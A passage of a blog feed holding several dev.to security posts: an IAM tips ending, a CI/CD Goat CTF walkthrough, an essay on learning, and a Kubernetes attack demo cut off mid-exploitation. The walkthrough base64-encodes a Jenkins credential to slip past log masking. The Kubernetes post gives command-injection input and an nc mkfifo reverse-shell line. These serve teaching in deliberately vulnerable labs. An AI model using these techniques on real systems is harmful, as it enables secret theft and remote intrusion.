with tools.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Implement multi-factor authentication (MFA)&lt;/strong&gt;. MFA makes sure the&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;individuals accessing your resources are who they claim to be. It’s&lt;br&gt;
an extra layer of security, protecting you against common attacks&lt;br&gt;
like phishing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rotate roles&lt;/strong&gt;. Change the IAM roles assigned to users or services&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;on a regular basis. This limits the window of opportunity for any&lt;br&gt;
would-be attackers and minimizes the risk of long-term exploits.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  IAM policy monitoring and enforcement with Panoptica
&lt;/h2&gt;

&lt;p&gt;Panoptica is a cloud-native application protection platform (CNAPP)&lt;br&gt;
designed to enhance your security posture across the board. It gives you&lt;br&gt;
continuous monitoring to ensure your IAM policies are consistently&lt;br&gt;
applied across your cloud environment. It can detect and mitigate&lt;br&gt;
changes or breaches in your IAM roles—in real time—offering features&lt;br&gt;
like automated policy enforcement and incident response.&lt;/p&gt;

&lt;p&gt;IAM roles are your building blocks for a secure cloud environment.&lt;br&gt;
Crafting a solid IAM strategy isn't just smart; it's essential. If&lt;br&gt;
you're looking to take your IAM strategy to the next level, Panoptica&lt;br&gt;
will help. It offers the tools you need to monitor and enforce your IAM&lt;br&gt;
policies effectively. &lt;a href="https://www.panoptica.app/sign-up"&gt;&lt;u&gt;Sign&lt;br&gt;
up&lt;/u&gt;&lt;/a&gt; to try out Panoptica for free&lt;br&gt;
today!&lt;/p&gt;

</description>
      <category>aws</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>How easy is it to steal credentials from Jenkins with Commit Access?</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 22 Sep 2023 21:25:12 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/cicd-access-all-areas-g1e</link>
      <guid>https://forem.com/ciscoemerge/cicd-access-all-areas-g1e</guid>
      <description>&lt;p&gt;What is the first thing you do when you start at a new company? You'll spend the first few days requesting access to various systems.&lt;/p&gt;

&lt;p&gt;If the company is using GitHub Enterprise or some other on-prem version control system, you will likely not see any repositories once you sign in. Why is that? &lt;br&gt;
You're part of the team now. Shouldn't you have access?&lt;br&gt;
Of course. But only for the projects you work on.&lt;br&gt;
If you ever wondered why that's the case and why you don't get all privileges by default, this blog post is for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Access All Areas Gone Wrong
&lt;/h2&gt;

&lt;p&gt;In this blog post, we want to explore what happens if a development machine gets compromised, granting an attacker write access to source code repositories.&lt;br&gt;
To experience this first-hand, we're using &lt;a href="https://github.com/cider-security-research/cicd-goat" rel="noopener noreferrer"&gt;CI/CD Goat&lt;/a&gt;, and one of the CTF challenges to play through the scenario of an attacker gaining access to sensitive data within build infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is CI/CD Goat?
&lt;/h3&gt;

&lt;p&gt;A quick Google search reveals a long list of so-called "Goat" projects. &lt;br&gt;
The purpose of these projects is to provide a deliberately vulnerable environment for users to practice their security skills.&lt;/p&gt;

&lt;p&gt;CI/CD Goat provides a deliberately vulnerable CI/CD sandbox environment to practice exploiting pipelines and stealing secrets.&lt;br&gt;
While you could use some of the techniques required to win the challenges to break into other systems, the main goal is to teach tech professionals how attackers leverage security vulnerabilities so they can build more secure systems. &lt;/p&gt;

&lt;h3&gt;
  
  
  The attacker mindset
&lt;/h3&gt;

&lt;p&gt;As software developers, we learn early on to think about technical debt, good abstractions, etc.&lt;br&gt;
We value maintainable systems and work to improve them daily.&lt;/p&gt;

&lt;p&gt;Switching sides to security and suddenly priorities change. Instead of thinking about technical debt and abstractions, the focus lies on "How easy can an outsider exploit this feature?" or "Could this be an attack vector?"&lt;br&gt;
If you set foot into the security field for the first time today, concerns such as attack vectors might initially seem foreign.&lt;br&gt;
The good news is that you can learn all this the same way you learned how to become a software developer.&lt;/p&gt;

&lt;p&gt;Let's pretend we are an attacker who gained access to a developer's machine.&lt;br&gt;
It is our goal to obtain sensitive information. The most straightforward way in this scenario is by exploiting the CI/CD pipeline. &lt;/p&gt;

&lt;h2&gt;
  
  
  CI/CD Goat Rules
&lt;/h2&gt;

&lt;p&gt;Once CI/CD Goat is &lt;a href="https://github.com/cider-security-research/cicd-goat#Download--Run" rel="noopener noreferrer"&gt;up and running&lt;/a&gt; and you are logged in to the dashboard, you have access to a variety of exercises to practice attacking CI/CD pipelines.&lt;br&gt;
The dashboard organizes exercises by difficulty level.&lt;/p&gt;

&lt;p&gt;The objective for each challenge is to "capture the flag," meaning that there are one or more tokens we need to obtain during this challenge. The flag can be a specific and custom ID or a &lt;code&gt;PYPi&lt;/code&gt; access token. The challenge is complete once we've found and submitted the token.&lt;/p&gt;

&lt;h2&gt;
  
  
  Steal the Token - White Rabbit
&lt;/h2&gt;

&lt;p&gt;White Rabbit is an easy challenge, suitable for newcomers. Right off the bat, you have write access to the repository to push commits and merge pull requests.&lt;br&gt;
To win the challenge, you need to obtain the flag, which is stored in the Jenkins credential store.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recon
&lt;/h3&gt;

&lt;p&gt;Before getting started, it's a good idea to look at the project and how it is set up. &lt;br&gt;
Looking at the directory structure, it seems White Rabbit is a Python project:  &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

✦ ➜ ls -l
drwxr-xr-x    - user 20 Sep 10:13 changelog
.rw-r--r--  39k user 20 Sep 10:13 CHANGES.rst
drwxr-xr-x    - user 20 Sep 10:13 ci
.rw-r--r-- 5.2k user 20 Sep 10:13 CODE_OF_CONDUCT.md
.rw-r--r--  156 user 20 Sep 10:13 codecov.yml
.rw-r--r--  291 user 20 Sep 10:13 dev-requirements.txt
drwxr-xr-x    - user 20 Sep 10:13 docs
drwxr-xr-x    - user 20 Sep 10:13 dummyserver
.rw-r--r--  619 user 21 Sep 12:10 Jenkinsfile
.rw-r--r-- 1.1k user 20 Sep 10:13 LICENSE.txt
.rw-r--r--  208 user 20 Sep 10:13 MANIFEST.in
.rw-r--r--  119 user 20 Sep 10:13 mypy-requirements.txt
.rw-r--r-- 5.1k user 20 Sep 10:13 noxfile.py
.rw-r--r-- 4.5k user 20 Sep 10:13 README.rst
.rw-r--r-- 1.1k user 20 Sep 10:13 setup.cfg
.rwxr-xr-x 4.1k user 20 Sep 10:13 setup.py
drwxr-xr-x    - user 20 Sep 10:13 src
drwxr-xr-x    - user 20 Sep 10:13 tests
.rw-r--r--  232 user 20 Sep 10:13 towncrier.toml


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Since this exercise focuses on exploiting CI/CD pipelines, let's take a brief look at the contents of the &lt;code&gt;ci&lt;/code&gt; folder:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

❯ ls -l ci
.rwxr-xr-x 195 user 20 Sep 10:13 deploy.sh
.rw-r--r-- 451 user 20 Sep 10:13 requests.patch
.rwxr-xr-x 143 user 20 Sep 10:13 run_tests.sh


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Also, in the root folder, we can see there's a &lt;code&gt;Jenkinsfile&lt;/code&gt;:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;While the &lt;code&gt;ci&lt;/code&gt; folder might contain something we could exploit, the better starting point is the &lt;code&gt;Jenkinsfile&lt;/code&gt;.&lt;br&gt;
Jenkins uses this file to build and run the project whenever we make a commit. Since we have write access to the repository, we can modify this file to obtain the token and win the challenge.&lt;/p&gt;

&lt;h3&gt;
  
  
  Preparing the steal
&lt;/h3&gt;

&lt;p&gt;From the info box on the dashboard, we know the flag is called &lt;code&gt;flag1&lt;/code&gt;. We could find it somewhere in the Jenkins Web UI. But the token is likely configured, so it's not easily accessible via the Web UI.&lt;br&gt;
Therefore, let's start by modifying the pipeline and adding an &lt;code&gt;env&lt;/code&gt; output:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {

        /* Add this stage */
        stage ('recon') {
          steps {
            sh "env"
          }
        }

        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }

    }
    post { 
        always { 
            cleanWs()
        }
    }
}




&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We add a new stage right at the beginning of the workflow to print out all configured environment variables via &lt;code&gt;env&lt;/code&gt;.&lt;br&gt;
We could get lucky, and the flag is an environment variable.&lt;br&gt;
Commit the changes and use the Gitea UI to create a pull request for the branch:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkg8ihrnoxhc7zbcvgrrl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkg8ihrnoxhc7zbcvgrrl.png" alt="Recon"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's look at the build log in Jenkins in a separate tab.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg16g82lr77egj9b91jyw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg16g82lr77egj9b91jyw.png" alt="Jenkins Pull Request Pipeline"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabqindmhld7dgubeopf9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabqindmhld7dgubeopf9.png" alt="Jenkins PR Log Environment Variables"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The log output does not reveal anything useful. Jenkins is not providing secrets as part of the regular environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack
&lt;/h3&gt;

&lt;p&gt;Since the flag is sensitive information, it's likely to be stored in the &lt;a href="https://www.jenkins.io/doc/developer/security/secrets/" rel="noopener noreferrer"&gt;Jenkins Credential Store&lt;/a&gt;. &lt;br&gt;
Therefore, we're enhancing our &lt;code&gt;Jenkinsfile&lt;/code&gt; in two ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a new environment variable &lt;code&gt;FLAG&lt;/code&gt; that holds the flag value pulled from the credential store&lt;/li&gt;
&lt;li&gt;Print the secret value into the build log&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
        /*Add this*/
        FLAG = credentials("flag1")
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        /*Add this*/
        stage ('Creds') {
          steps {
            sh """
            echo $FLAG | base64 
            """
          }
        }

        stage ('Lint') {
            steps {
                sh """
                /* pylint ${PROJECT} || true */
                env
                """
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Notice how we're piping the flag into &lt;code&gt;base64&lt;/code&gt;: &lt;code&gt;echo $FLAG | base64&lt;/code&gt;. &lt;br&gt;
If we didn't convert the flag to base 64, Jenkins would automatically mask the credential with stars.&lt;/p&gt;

&lt;p&gt;Once we push and go over to Jenkins again, we see the stage running and printing the secret:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

[Pipeline] }
[Pipeline] // stage
[Pipeline] stage[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] { (Creds)[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] sh[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
Warning: A secret was passed to "sh" using Groovy String interpolation, which is insecure.
         Affected argument(s) used the following variable(s): [FLAG]
         See [https://jenkins.io/redirect/groovy-string-interpolation](https://jenkins.io/redirect/groovy-string-interpolation) for details.
+ echo ****
+ base64
MDYxNjVERjItQzA0Ny00NDAyLThDQUItMUM4RUM1MjZDMTE1Cg==


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;With minimal effort, we were able to steal a secret. &lt;/p&gt;

&lt;h2&gt;
  
  
  What does that mean for me?
&lt;/h2&gt;

&lt;p&gt;Just because somebody works at your company doesn't mean they should automatically be trusted. &lt;br&gt;
Traditional IT is often based on the "castle and moat" concept. It isn't easy to access the castle, but once inside, everybody is automatically trusted. You might have experienced this first hand in a new job. Once you get your primary user account, you can access every resource within the company network.&lt;/p&gt;

&lt;p&gt;In today's day and age, it is much more apt to follow a zero-trust approach. While we don't suspect our coworkers have any malicious intent, we prepare for the case a coworker's computer gets compromised.&lt;br&gt;
Instead of allowing an attacker to walk through open doors, every door is locked by default to increase the effort for each attempted attack.&lt;/p&gt;

&lt;p&gt;Only developers who need access should get it when it comes to securing development infrastructure. And even then, you should extend as few privileges as possible. The fewer privileges we grant, the more difficult it becomes for somebody to attack the system.&lt;/p&gt;

&lt;p&gt;What are your thoughts on this topic? Were you surprised by how easy it can be to steal an access token from a CI pipeline? Comment below.&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>security</category>
      <category>jenkins</category>
    </item>
    <item>
      <title>We Don’t Bite! How to Overcome Imposter Syndrome to Foster a Culture of Open and Judgement-Free Learning</title>
      <dc:creator>Chris Lentricchia 🤙</dc:creator>
      <pubDate>Wed, 13 Sep 2023 14:42:14 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/we-dont-bite-how-to-overcome-imposter-syndrome-to-foster-a-culture-of-open-and-judgement-free-learning-4jfj</link>
      <guid>https://forem.com/ciscoemerge/we-dont-bite-how-to-overcome-imposter-syndrome-to-foster-a-culture-of-open-and-judgement-free-learning-4jfj</guid>
      <description>&lt;p&gt;With KubeCon North America around the corner, I’m reminded of the great opportunity for learning and self-improvement presented by attending the world’s premier cloud native event. Attending KubeCon is like having a completely new hard drive wired into your brain – it’s a mecca for learning. Although now in its eith year, KubeCon still remains an attraction for many first-time attendees, students, and people looking to dive deeper into cloud native. According to the &lt;a href="https://www.cncf.io/reports/kubecon-cloudnativecon-north-america-2022-transparency-report/#attendees"&gt;Cloud Native Computing Foundation’s transparency report&lt;/a&gt; from KubeCon NA 2022, 61% of attendees were first-time attendees. While I’ve always made a point of offering advice to our newer cloud native citizens on how to approach learning at KubeCon, I’ve never documented my thoughts on how to approach learning within the cloud native ecosphere. In this article, I’m going to break down a few simple mantras and rules that you can use to adopt a mindset and a culture of judgement-free learning in order to get outside of your own head, grow as human being, and get the most of your cloud native experiences – even if you aren’t attending KubeCon. This article pertains to learning cloud native technologies but contains universal truths that are applicable to learning in general. &lt;/p&gt;

&lt;h2&gt;
  
  
  You are no more-or-less capable of learning anything than the next person
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Because your own strength is unequal to the task, do not assume that it is beyond the powers of man; but if anything is within the powers and province of man, believe that it is within your own compass also. - Marcus Aurelius &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If another human being has learned something, you are equally capable of doing so. Statistically speaking, most of us are of average intelligence, and with certain extremely rare exceptions, nobody is born with the capability for knowing more-or-less than others. The only reason someone has gotten experienced in a specific area is likely because they’ve spent a lot of time with it. For instance, if someone has been attending KubeCon for multiple years, they’re likely going to be more experienced in the cloud native space than a person who is a newcomer. There’s no fancy degree, course, or magic pill, that makes someone eminently more qualified to understand a concept over another person. My first tip to anyone looking to learn and expand their horizons as a human being, is to always remember that you are capable of learning anything that the next person is capable of learning. By keeping this lesson first-and-foremost in your mind when approaching cloud native learning, you can build the confidence to start developing and asking questions, no matter your background. &lt;/p&gt;

&lt;h2&gt;
  
  
  If someone ever judges you for asking a question, that’s on them, not you.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;If you have an apple and I have an apple and we exchange these apples then you and I will still each have one apple. But if you have an idea and I have an idea and we exchange these ideas, then each of us will have two ideas. – George Bernard Shaw &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Often, I see newcomers to tech conferences or companies who may be afraid or embarrassed to ask questions for fear of asking something that they think is elementary, “stupid” or obvious, and then getting judged for it. Firstly, the vast majority of people at KubeCon, or in the cloud native community in general, will be flattered that you found them to be a reliable source of knowledge and will gladly answer your question to the best of their abilities. Chances are whomever you are asking that elementary or “stupid” question to, has had has the same question at one point themselves. They may have had the question a long time ago - or it may have been more recently, but chances are they had the same question that you do. And maybe they even figured it out themselves because they were too embarrassed to ask, too!  &lt;/p&gt;

&lt;p&gt;Understand that there is no human who knows everything or has the answers to every problem – they might act like they do, but they don’t; they’re a human just like you. Not knowing something is not a representation of yourself or how smart you are. Chances are that you also know something the other person doesn’t. Asking a question is simply asking for an exchange of knowledge about a particular topic. That said, if someone judges you for asking any question, it's really not your problem; go find someone else who will answer your question without judgement. I promise - it’s not you.  &lt;/p&gt;

&lt;h2&gt;
  
  
  It’s not that you can’t understand a concept, it’s that you haven’t found someone who can explain it in a way that makes sense to you
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Effective teaching may be the hardest job there is. – William Glasser &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Being able to effectively convey ideas to another human is a brutally difficult job. Teaching not only involves having cardinal knowledge of the topic itself, but being able to relay that knowledge in a way that resonates with the individual receiving the knowledge. People learn in a variety of different ways. Some people learn better from pictures and diagrams, some people learn by being hands-on, and yet others learn from verbal communication. For example, if someone asked me to explain Kubernetes, I might say that Kubernetes is like a road. On that road, there are cars that we call “containers” and passengers inside those cars that we call “applications”. That explanation makes sense to me, but to someone else, it might lead to more confusion because they might be looking for more contextual details. That doesn’t make either of us wrong, or not smart, it makes us human – and although all humans are fundamentally the same, we are also slightly different. In that way, you can think of a teacher-student relationship as two pieces of pipe, where both pieces must precisely fit together in order to start the flow of inflation. Some people may have pipes made of steel; others of PVC; some with larger diameters; and some with smaller diameters. You can understand anything you put your mind to, you just have to find the right fit to help you understand. My third and last tip for learning and self-improvement is that humans learn differently, and you need to find someone who can explain things to you in a way that fits your learning style. &lt;/p&gt;

&lt;h2&gt;
  
  
  Parting thoughts
&lt;/h2&gt;

&lt;p&gt;The mind can either be your best friend or your worst enemy. It is the only one that can hold you back in life. By remembering these three mantras, hopefully you can unblock your own mind to make your KubeCon North America experience more fruitful. Even if you aren’t attending KubeCon and instead learning from a distance, you can start your leaning by joining &lt;a href="https://communityinviter.com/apps/cloud-native/cncf"&gt;CNCF slack&lt;/a&gt; and &lt;a href="//outshift.slack.com"&gt;OutShift by Cisco slack &lt;/a&gt;.&lt;/p&gt;

</description>
      <category>cloudnative</category>
      <category>kubernetes</category>
      <category>learning</category>
    </item>
    <item>
      <title>Take the first steps to harden your Kubernetes cluster</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 08 Sep 2023 21:58:01 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/take-the-first-steps-to-harden-your-kubernetes-cluster-39b1</link>
      <guid>https://forem.com/ciscoemerge/take-the-first-steps-to-harden-your-kubernetes-cluster-39b1</guid>
      <description>&lt;p&gt;Out of the box, a brand-new Kubernetes deployment is insecure by default. &lt;br&gt;
It is a blessing for development since we can focus on building applications without going through too much red tape.&lt;br&gt;
Once we move into production, however, that's when we need to double down on security.&lt;br&gt;
In this blog post, you will learn two approaches to make your cluster more secure.&lt;br&gt;
We will start by exploiting a vulnerable application and enumerating cluster resources.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Please note: The attack scenario here is only for demonstration purposes and the vulnerable application.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The attack scenario
&lt;/h2&gt;

&lt;p&gt;A Kubernetes cluster runs a vulnerable Node.js application that's public-facing. We will use this application to gain access to the pod and other resources within the cluster.&lt;/p&gt;
&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;Our setup consists of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A EKS Cluster&lt;/li&gt;
&lt;li&gt;A vulnerable Node.js workload&lt;/li&gt;
&lt;li&gt;A Grafana workload&lt;/li&gt;
&lt;li&gt;An operator workload&lt;/li&gt;
&lt;li&gt;An EC2 virtual machine to drive the attack from

&lt;ul&gt;
&lt;li&gt;With &lt;a href="https://github.com/calebstewart/pwncat#installation"&gt;pwncat-cs&lt;/a&gt; installed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Clone the following repository and follow the instructions in the README:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/schultyy/vulnerable-k8s-deployment"&gt;https://github.com/schultyy/vulnerable-k8s-deployment&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This setup consists of an AWS Kubernetes Cluster, a Node.js application vulnerable to &lt;a href="https://owasp.org/www-community/attacks/Command_Injection"&gt;command injection&lt;/a&gt;, and a service living in another namespace.&lt;/p&gt;

&lt;p&gt;The script you run sets up everything so we can start immediately.&lt;br&gt;
We won't go through the steps of setting up a public-facing load balancer. Instead, we'll simulate it by port-forwarding the service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl port-forward svc/syringe-service 8080:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attacking an application via command injection
&lt;/h2&gt;

&lt;p&gt;The application we're looking at today has a straightforward task: Check if a service behind a domain name is available. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xF1MExlN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/umuvfyid0r685b9gs7bt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xF1MExlN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/umuvfyid0r685b9gs7bt.png" alt="Ping Command Output" width="800" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The output suggests that it seems to run the &lt;code&gt;ping&lt;/code&gt; command behind the scenes. That's a perfect opportunity to test if we can inject other commands.&lt;br&gt;
Open the page again, and provide &lt;code&gt;google.com; whoami&lt;/code&gt; as input.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3MtZfgqA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zifblmkcrpafqmblnt8m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3MtZfgqA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zifblmkcrpafqmblnt8m.png" alt="Ping Command Output with Command Injection" width="800" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The output confirms it: the input is not sanitized, and we can run arbitrary commands. We just discovered a vulnerability we can leverage to gain access.&lt;/p&gt;
&lt;h3&gt;
  
  
  Gaining access with a reverse shell
&lt;/h3&gt;

&lt;p&gt;Open &lt;a href="https://revshells.com"&gt;&lt;code&gt;revshells.com&lt;/code&gt;&lt;/a&gt; in your browser. We want to open a reverse shell into the container. Get the public IP address from your EC2 machine and paste it into the IP address field. For port, choose &lt;code&gt;8888&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Scroll through the list until you find &lt;code&gt;nc mkfifo&lt;/code&gt;. Copy the command.&lt;br&gt;
Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;IP ADDRESS&amp;gt; 8888 &amp;gt;/tmp/f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're using &lt;a href="https://github.com/calebstewart/pwncat"&gt;&lt;code&gt;pwncat-cs&lt;/code&gt;&lt;/a&gt; to listen for incoming connections and elevate to a shell. Log into the EC2 VM and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pwncat-cs -lp 8888
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we're listening for incoming connections, return to the browser and open the application tab again. Paste a domain together with the revshell string into the application's text field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;google.com ; &amp;lt;REV SHELL String&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you click submit, the tab will show a loading indicator. &lt;br&gt;
Go back to your terminal. pwncat should have accepted a new incoming connection by now. Your output should look similar to the following example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ubuntu@ip-172-31-12-79:~$ pwncat-cs -lp 8888
[15:11:04] Welcome to pwncat 🐈!                                                                                   __main__.py:164
[15:11:13] received connection from &amp;lt;IP&amp;gt;:35812                                                                     bind.py:84
[15:11:14] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash                                              manager.py:957
[15:11:15] &amp;lt;IP&amp;gt;:35812: registered new host w/ db                                                               manager.py:957
(local) pwncat$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Install &lt;code&gt;kubectl&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Once we have gained access to the pod, we want to discover additional Kubernetes resources.&lt;br&gt;
For that, we'll need the &lt;code&gt;kubectl&lt;/code&gt; command line tool. On your EC2 virtual machine, go ahead and run the following command. &lt;strong&gt;Please ensure you're in the same directory as in the other session where pwncat runs.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-LO&lt;/span&gt; &lt;span class="s2"&gt;"https://dl.k8s.io/release/&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; https://dl.k8s.io/release/stable.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;/bin/linux/amd64/kubectl"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, upload the binary to the pod via pwncat. In the pwncat terminal, run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;upload kubectl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upload might take a few seconds. Once finished, press &lt;code&gt;CTRL+D&lt;/code&gt; to switch to the remote shell. &lt;/p&gt;

&lt;p&gt;pwncat copied the binary into the &lt;code&gt;WORKDIR&lt;/code&gt; of the container. Let's move it out of there first and make it executable:&lt;br&gt;
